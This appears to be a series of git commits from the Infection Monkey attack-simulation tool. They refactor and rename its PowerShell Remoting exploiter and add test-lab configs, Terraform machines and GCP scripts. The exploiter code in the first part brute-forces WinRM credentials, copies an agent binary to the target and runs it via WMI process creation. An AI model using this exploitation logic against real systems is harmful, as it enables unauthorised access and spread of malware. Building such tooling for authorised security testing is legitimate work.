logging.getLogger(package.__name__).setLevel(logging.ERROR) def _exploit_host(self): + result = self._attempt_exploitations() + if not result: + return False + + arch = self._get_host_arch() + self.is_32bit = arch == WIN_ARCH_32 + + self._write_virtual_file_to_local_path() + + self.monkey_path_on_victim = ( + self._config.dropper_target_path_win_32 + if self.is_32bit + else self._config.dropper_target_path_win_64 + ) + is_monkey_copy_successful = self._copy_monkey_binary_on_victim() + + if is_monkey_copy_successful: + self._execute_monkey_on_victim() + else: + return False + + return True + + def _attempt_exploitations(self) -> bool: try: - self.client = self.exploit_without_credentials() + self.client = self._exploit_without_credentials() except FailedExploitationError: LOG.info("Failed exploitation without credentials.") try: - self.client = self.exploit_with_usernames_only( + self.client = self._exploit_with_usernames_only( usernames=self._config.exploit_user_list ) except FailedExploitationError: LOG.info("Failed exploitation using configured usernames only.") try: - self.client = self.exploit_with_credentials( - self._config.get_exploit_user_password_pairs() + self.client = self._exploit_with_credentials( + credential_list=self._config.get_exploit_user_password_pairs() ) except FailedExploitationError: LOG.info("Failed exploitation using configured credentials. Quitting.") return False - arch = self.get_host_arch() - is_32bit = arch == WIN_ARCH_32 - - monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=is_32bit) - - # write virtual file to actual local file - with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: - with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: - monkey_local_file.write(monkey_virtual_file.read()) - - try: - if arch == WIN_ARCH_32: - monkey_path_on_victim = self._config.dropper_target_path_win_32 - else: - monkey_path_on_victim = self._config.dropper_target_path_win_64 - - self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim) - except Exception: - return False - finally: - os.remove(TEMP_MONKEY_BINARY_FILEPATH) - - monkey_params = build_monkey_commandline( - target_host=self.host, - depth=get_monkey_depth() - 1, - vulnerable_port=None, - location=monkey_path_on_victim, - ) - - monkey_execution_command = RUN_MONKEY % { - "monkey_path": monkey_path_on_victim, - "monkey_type": DROPPER_ARG, - "parameters": monkey_params, - } - - with self.client.wsman, RunspacePool(self.client.wsman) as pool: - ps = PowerShell(pool) - ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( - "name", "create" - ).add_parameter("ArgumentList", monkey_execution_command) - ps.invoke() - return True - def exploit_without_credentials(self) -> Client: - return self.try_exploit() + def _exploit_without_credentials(self) -> Client: + return self._try_exploit() - def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client: + def _exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client: for username in usernames: try: - client = self.try_exploit(username) + client = self._try_exploit(username) return client except FailedExploitationError: pass raise FailedExploitationError - def exploit_with_credentials( + def _exploit_with_credentials( self, credential_list: typing.List[typing.Tuple[str, str]] ) -> Client: for username, password in credential_list: try: - client = self.try_exploit(username, password) + client = self._try_exploit(username, password) return client except FailedExploitationError: pass raise FailedExploitationError - def try_exploit( + def _try_exploit( self, username: typing.Optional[str] = None, password: typing.Optional[str] = None ) -> Client: try: @@ -145,13 +127,50 @@ class PowershellExploiter(HostExploiter): except Exception: raise FailedExploitationError - def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: - output = self.execute_cmd_on_host(GET_ARCH_WINDOWS) + def _get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: + output = self._execute_cmd_on_host(GET_ARCH_WINDOWS) if "64-bit" in output: return WIN_ARCH_64 else: return WIN_ARCH_32 - def execute_cmd_on_host(self, cmd: str) -> str: + def _execute_cmd_on_host(self, cmd: str) -> str: output, _, _ = self.client.execute_cmd(cmd) return output + + def _write_virtual_file_to_local_path(self) -> None: + monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit) + + with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: + with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: + monkey_local_file.write(monkey_virtual_file.read()) + + def _copy_monkey_binary_on_victim(self) -> bool: + try: + self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, self.monkey_path_on_victim) + return True + except Exception: + return False + finally: + os.remove(TEMP_MONKEY_BINARY_FILEPATH) + + def _execute_monkey_on_victim(self) -> None: + monkey_params = build_monkey_commandline( + target_host=self.host, + depth=get_monkey_depth() - 1, + vulnerable_port=None, + location=self.monkey_path_on_victim, + ) + + monkey_execution_command = RUN_MONKEY % { + "monkey_path": self.monkey_path_on_victim, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } + + with self.client.wsman, RunspacePool(self.client.wsman) as pool: + ps = PowerShell(pool) + ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( + "name", "create" + ).add_parameter("ArgumentList", monkey_execution_command) + ps.invoke() From 72e037833575935f6c79d32d1d3752ec9a6853aa Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 24 Aug 2021 11:52:12 +0530 Subject: [PATCH 035/454] agent: Fix import path in powershell exploiter --- monkey/infection_monkey/exploit/powershell.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index dd08bba5d..5ba03b5b7 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -12,13 +12,10 @@ import infection_monkey.monkeyfs as monkeyfs from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import ( - build_monkey_commandline, - get_monkey_depth, - get_target_monkey_by_os, -) +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.exploit.web_rce import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) From b6c3623e74a4bd38d8407a2f1d765bed85c6f323 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 24 Aug 2021 13:15:47 +0530 Subject: [PATCH 036/454] agent, island, vulture: Update class name and text related to powershell exploiter to maintain consistency ('PowerShell Remoting') --- monkey/infection_monkey/exploit/powershell.py | 4 ++-- .../monkey_island/cc/services/config_schema/basic.py | 2 +- .../config_schema/definitions/exploiter_classes.py | 10 +++++++--- .../exploit_processing/exploiter_descriptor_enum.py | 2 +- .../src/components/report-components/SecurityReport.js | 2 +- .../security/issues/PowershellIssue.js | 6 +++--- vulture_allowlist.py | 2 +- 7 files changed, 16 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 5ba03b5b7..91ba9df71 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -22,13 +22,13 @@ LOG = logging.getLogger(__name__) TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" -class PowershellExploiter(HostExploiter): +class PowerShellExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" def __init__(self, host: VictimHost): - PowershellExploiter._set_sensitive_packages_log_level_to_error() + PowerShellExploiter._set_sensitive_packages_log_level_to_error() super().__init__(host) self.client = None diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 33704eab6..6608cac2c 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -26,7 +26,7 @@ BASIC = { "VSFTPDExploiter", "MSSQLExploiter", "DrupalExploiter", - "PowershellExploiter", + "PowerShellExploiter", ], } }, diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 6a50df509..5ac348b5b 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -156,10 +156,14 @@ EXPLOITER_CLASSES = { }, { "type": "string", - "enum": ["PowershellExploiter"], - "title": "Powershell Exploiter", - "info": "Exploits powershell remote execution setups.", + "enum": ["PowerShellExploiter"], + "title": "PowerShell Remoting Exploiter", + "info": "Exploits PowerShell remote execution setups. PowerShell Remoting uses Windows " + "Remote Management (WinRM) to allow users to run PowerShell commands on remote " + "computers.", "safe": True, + "link": "https://www.guardicore.com/infectionmonkey" + "/docs/reference/exploiters/" # TODO: Change link once documentation is updated }, ], } diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 006a13c7c..15e1bfef4 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -50,7 +50,7 @@ class ExploiterDescriptorEnum(Enum): "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor ) POWERSHELL = ExploiterDescriptor( - "PowershellExploiter", "Powershell remoting exploiter", ExploitProcessor + "PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor ) @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 491921093..3dcf94615 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -143,7 +143,7 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: shellShockIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'PowershellExploiter': { + 'PowerShellExploiter': { [this.issueContentTypes.OVERVIEW]: powershellIssueOverview, [this.issueContentTypes.REPORT]: powershellIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js index af4066443..012f8cabd 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PowershellIssue.js @@ -8,16 +8,16 @@ export function powershellIssueOverview() { export function powershellIssueReport(issue) { return ( <> - Restrict powershell remote command execution and/or + Restrict PowerShell remote command execution and/or harden the credentials of relevant users. The machine {issue.machine} ({issue.ip_address}) was exploited via Powershell remoting. + className="badge badge-danger">PowerShell Remoting.
    The attack was made possible because the target machine had - Powershell remoting enabled and Monkey + PowerShell Remoting enabled and Monkey had access to correct credentials.
    diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 0919c7bca..6e5564d07 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -87,7 +87,7 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) _.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) _.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) -PowershellExploiter # (monkey\infection_monkey\exploit\powershell.py:27) +PowerShellExploiter # (monkey\infection_monkey\exploit\powershell.py:27) ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13) From e339932fde342edcd8d6b25cbf6c2f36a1893918 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 24 Aug 2021 13:16:59 +0530 Subject: [PATCH 037/454] island: Change 'Powershell' to 'PowerShell' in attack schema for T1210 --- monkey/monkey_island/cc/services/attack/attack_schema.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index af27808a9..c2dda7a09 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -40,7 +40,7 @@ SCHEMA = { "depends_on": ["T1210"], }, "T1086": { - "title": "Powershell", + "title": "PowerShell", "type": "bool", "value": True, "necessary": True, From 305b2cf716b07d99957da79cdffef0717f72479a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 24 Aug 2021 10:29:36 +0200 Subject: [PATCH 038/454] Zoo: Add PowerShell config and bb test --- .../blackbox/config_templates/powershell.py | 21 +++++++++++++++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 6 ++++++ .../utils/config_generation_script.py | 2 ++ 3 files changed, 29 insertions(+) create mode 100644 envs/monkey_zoo/blackbox/config_templates/powershell.py diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py new file mode 100644 index 000000000..76db9e248 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -0,0 +1,21 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class PowerShell(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["PowerShellExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.45", "10.2.3.47"], + "basic.credentials.exploit_password_list": ["Passw0rd!", ""], + "basic_network.scope.depth": 2, + "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], + "internal.classes.finger_classes": ["PingScanner"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [], + } + ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 5cd67d7ec..3c3934630 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -13,6 +13,7 @@ from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance +from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth @@ -156,6 +157,11 @@ class TestMonkeyBlackbox: def test_mssql_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter") + def test_powershell_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, PowerShell, "PowerShell_Remoting_exploiter" + ) + def test_smb_and_mimikatz_exploiters(self, island_client): TestMonkeyBlackbox.run_exploitation_test( island_client, SmbMimikatz, "SMB_exploiter_mimikatz" diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index b2c69acda..f38a48d39 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -8,6 +8,7 @@ from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance +from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth @@ -40,6 +41,7 @@ CONFIG_TEMPLATES = [ Hadoop, Mssql, Performance, + PowerShell, ShellShock, SmbMimikatz, SmbPth, From 9f2a4cb7e4f9832ce977d6d8ac042687506a570a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 24 Aug 2021 11:56:09 +0200 Subject: [PATCH 039/454] Zoo: Update terraform scripts. Update gcp test machine list with new zone --- .../blackbox/config_templates/performance.py | 4 ++ .../blackbox/gcp_test_machine_list.py | 50 +++++++++++-------- .../blackbox/start_all_gcp_machines.py | 2 +- .../blackbox/stop_all_gcp_machines.py | 2 +- envs/monkey_zoo/blackbox/test_blackbox.py | 4 +- .../blackbox/utils/gcp_machine_handlers.py | 28 ++++++----- envs/monkey_zoo/terraform/images.tf | 8 +++ envs/monkey_zoo/terraform/monkey_zoo.tf | 36 +++++++++++++ 8 files changed, 95 insertions(+), 39 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index e5213b649..b5b3e0655 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -10,6 +10,7 @@ class Performance(ConfigTemplate): "3Q=(Ge(+&w]*", "`))jU7L(w}", "t67TC5ZDmz", + "Passw0rd!", ], "basic.credentials.exploit_user_list": ["m0nk3y"], "basic.exploiters.exploiter_classes": [ @@ -24,6 +25,7 @@ class Performance(ConfigTemplate): "HadoopExploiter", "VSFTPDExploiter", "MSSQLExploiter", + "PowerShellExploiter", "ZerologonExploiter", ], "basic_network.network_analysis.inaccessible_subnets": [ @@ -58,5 +60,7 @@ class Performance(ConfigTemplate): "10.2.2.23", "10.2.2.24", "10.2.2.25", + "10.2.2.45", + "10.2.3.47", ], } diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 43246ad24..852d2fb25 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -1,22 +1,28 @@ -GCP_TEST_MACHINE_LIST = [ - "sshkeys-11", - "sshkeys-12", - "elastic-4", - "elastic-5", - "hadoop-2", - "hadoop-3", - "mssql-16", - "mimikatz-14", - "mimikatz-15", - "struts2-23", - "struts2-24", - "tunneling-9", - "tunneling-10", - "tunneling-11", - "tunneling-12", - "weblogic-18", - "weblogic-19", - "shellshock-8", - "zerologon-25", - "drupal-28", -] +GCP_TEST_MACHINE_LIST = { + "europe-west3-a": [ + "sshkeys-11", + "sshkeys-12", + "elastic-4", + "elastic-5", + "hadoop-2", + "hadoop-3", + "mssql-16", + "powershell-45", + "mimikatz-14", + "mimikatz-15", + "struts2-23", + "struts2-24", + "tunneling-9", + "tunneling-10", + "tunneling-11", + "tunneling-12", + "weblogic-18", + "weblogic-19", + "shellshock-8", + "zerologon-25", + "drupal-28", + ], + "europe-west1-b": [ + "powershell-3-47", + ], +} diff --git a/envs/monkey_zoo/blackbox/start_all_gcp_machines.py b/envs/monkey_zoo/blackbox/start_all_gcp_machines.py index f31a072f9..9cab68d97 100755 --- a/envs/monkey_zoo/blackbox/start_all_gcp_machines.py +++ b/envs/monkey_zoo/blackbox/start_all_gcp_machines.py @@ -4,4 +4,4 @@ from gcp_test_machine_list import GCP_TEST_MACHINE_LIST from utils.gcp_machine_handlers import GCPHandler gcp_handler = GCPHandler() -gcp_handler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) +gcp_handler.start_machines(GCP_TEST_MACHINE_LIST) diff --git a/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py b/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py index 132191e94..7272df30b 100755 --- a/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py +++ b/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py @@ -4,4 +4,4 @@ from gcp_test_machine_list import GCP_TEST_MACHINE_LIST from utils.gcp_machine_handlers import GCPHandler gcp_handler = GCPHandler() -gcp_handler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST)) +gcp_handler.stop_machines(GCP_TEST_MACHINE_LIST) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 3c3934630..aa6544e6c 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -55,14 +55,14 @@ def GCPHandler(request, no_gcp): if not no_gcp: try: GCPHandler = gcp_machine_handlers.GCPHandler() - GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST)) + GCPHandler.start_machines(GCP_TEST_MACHINE_LIST) except Exception as e: LOGGER.error("GCP Handler failed to initialize: %s." % e) pytest.exit("Encountered an error while starting GCP machines. Stopping the tests.") wait_machine_bootup() def fin(): - GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST)) + GCPHandler.stop_machines(GCP_TEST_MACHINE_LIST) request.addfinalizer(fin) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index c438e92f5..38fc7125c 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -13,15 +13,12 @@ class GCPHandler(object): # Key path location relative to this file's directory RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" - DEFAULT_ZONE = "europe-west3-a" DEFAULT_PROJECT = "guardicore-22050661" def __init__( self, - zone=DEFAULT_ZONE, project_id=DEFAULT_PROJECT, ): - self.zone = zone abs_key_path = GCPHandler.get_absolute_key_path() subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116 @@ -43,26 +40,31 @@ class GCPHandler(object): ) return absolute_key_path - def start_machines(self, machine_list): + @staticmethod + def start_machines(machine_list): """ Start all the machines in the list. - :param machine_list: A space-separated string with all the machine names. Example: - start_machines(`" ".join(["elastic-3", "mssql-16"])`) + :param machine_list: A dictionary with zone and machines per zone. """ LOGGER.info("Setting up all GCP machines...") try: - subprocess.call( # noqa: DUO116 - (GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True - ) + for zone in machine_list: + subprocess.call( # noqa: DUO116 + (GCPHandler.MACHINE_STARTING_COMMAND % (" ".join(machine_list[zone]), zone)), + shell=True, + ) LOGGER.info("GCP machines successfully started.") except Exception as e: LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) - def stop_machines(self, machine_list): + @staticmethod + def stop_machines(machine_list): try: - subprocess.call( # noqa: DUO116 - (GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True - ) + for zone in machine_list: + subprocess.call( # noqa: DUO116 + (GCPHandler.MACHINE_STOPPING_COMMAND % (" ".join(machine_list[zone]), zone)), + shell=True, + ) LOGGER.info("GCP machines stopped successfully.") except Exception as e: LOGGER.error("GCP Handler failed to stop network machines: %s" % e) diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 866a4f174..3c4783389 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -57,6 +57,14 @@ data "google_compute_image" "mssql-16" { name = "mssql-16" project = local.monkeyzoo_project } +data "google_compute_image" "powershell-3-47" { + name = "powershell-3-47" + project = local.monkeyzoo_project +} +data "google_compute_image" "powershell-45" { + name = "powershell-45" + project = local.monkeyzoo_project +} data "google_compute_image" "weblogic-18" { name = "weblogic-18" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 5eabc160b..a3411c608 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -26,6 +26,12 @@ resource "google_compute_subnetwork" "monkeyzoo-main" { network = google_compute_network.monkeyzoo.self_link } +resource "google_compute_subnetwork" "monkeyzoo-main-1" { + name = "${local.resource_prefix}monkeyzoo-main-1" + ip_cidr_range = "10.2.3.0/24" + network = google_compute_network.monkeyzoo.self_link +} + resource "google_compute_subnetwork" "tunneling-main" { name = "${local.resource_prefix}tunneling-main" ip_cidr_range = "10.2.1.0/28" @@ -307,6 +313,36 @@ resource "google_compute_instance_from_template" "mssql-16" { } } +resource "google_compute_instance_from_template" "powershell-3-47" { + name = "${local.resource_prefix}powershell-3-47" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.powershell-3-47.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main-1" + network_ip="10.2.3.47" + } +} + +resource "google_compute_instance_from_template" "powershell-45" { + name = "${local.resource_prefix}powershell-45" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.powershell-45.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.2.45" + } +} + /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { name = "${local.resource_prefix}upgrader-17" From 5cee9443ff97ff45b963f8a902cca5329d9a69d9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 24 Aug 2021 15:11:22 +0200 Subject: [PATCH 040/454] Zoo: Remove GCPHandler class. Powershell-3-47 renamed to Powershell-3-46. Powershell-45 moved to different zone --- .../blackbox/config_templates/performance.py | 3 - .../blackbox/config_templates/powershell.py | 4 +- .../blackbox/gcp_test_machine_list.py | 5 +- .../blackbox/start_all_gcp_machines.py | 6 +- .../blackbox/stop_all_gcp_machines.py | 6 +- envs/monkey_zoo/blackbox/test_blackbox.py | 12 +- .../blackbox/utils/gcp_machine_handlers.py | 116 +++++++++--------- envs/monkey_zoo/terraform/images.tf | 8 +- envs/monkey_zoo/terraform/monkey_zoo.tf | 16 +-- vulture_allowlist.py | 1 + 10 files changed, 88 insertions(+), 89 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index b5b3e0655..2662642e6 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -10,7 +10,6 @@ class Performance(ConfigTemplate): "3Q=(Ge(+&w]*", "`))jU7L(w}", "t67TC5ZDmz", - "Passw0rd!", ], "basic.credentials.exploit_user_list": ["m0nk3y"], "basic.exploiters.exploiter_classes": [ @@ -60,7 +59,5 @@ class Performance(ConfigTemplate): "10.2.2.23", "10.2.2.24", "10.2.2.25", - "10.2.2.45", - "10.2.3.47", ], } diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index 76db9e248..e6d2467ab 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -10,8 +10,8 @@ class PowerShell(ConfigTemplate): config_values.update( { "basic.exploiters.exploiter_classes": ["PowerShellExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.45", "10.2.3.47"], - "basic.credentials.exploit_password_list": ["Passw0rd!", ""], + "basic_network.scope.subnet_scan_list": ["10.2.3.45", "10.2.3.46"], + "basic.credentials.exploit_password_list": ["Passw0rd!"], "basic_network.scope.depth": 2, "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], "internal.classes.finger_classes": ["PingScanner"], diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 852d2fb25..52efeb670 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -7,7 +7,7 @@ GCP_TEST_MACHINE_LIST = { "hadoop-2", "hadoop-3", "mssql-16", - "powershell-45", + "powershell-3-45", "mimikatz-14", "mimikatz-15", "struts2-23", @@ -23,6 +23,7 @@ GCP_TEST_MACHINE_LIST = { "drupal-28", ], "europe-west1-b": [ - "powershell-3-47", + "powershell-3-45", + "powershell-3-46", ], } diff --git a/envs/monkey_zoo/blackbox/start_all_gcp_machines.py b/envs/monkey_zoo/blackbox/start_all_gcp_machines.py index 9cab68d97..c5e83671c 100755 --- a/envs/monkey_zoo/blackbox/start_all_gcp_machines.py +++ b/envs/monkey_zoo/blackbox/start_all_gcp_machines.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 from gcp_test_machine_list import GCP_TEST_MACHINE_LIST -from utils.gcp_machine_handlers import GCPHandler +from utils.gcp_machine_handlers import initialize_gcp_client, start_machines -gcp_handler = GCPHandler() -gcp_handler.start_machines(GCP_TEST_MACHINE_LIST) +initialize_gcp_client() +start_machines(GCP_TEST_MACHINE_LIST) diff --git a/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py b/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py index 7272df30b..d5a489a52 100755 --- a/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py +++ b/envs/monkey_zoo/blackbox/stop_all_gcp_machines.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 from gcp_test_machine_list import GCP_TEST_MACHINE_LIST -from utils.gcp_machine_handlers import GCPHandler +from utils.gcp_machine_handlers import initialize_gcp_client, stop_machines -gcp_handler = GCPHandler() 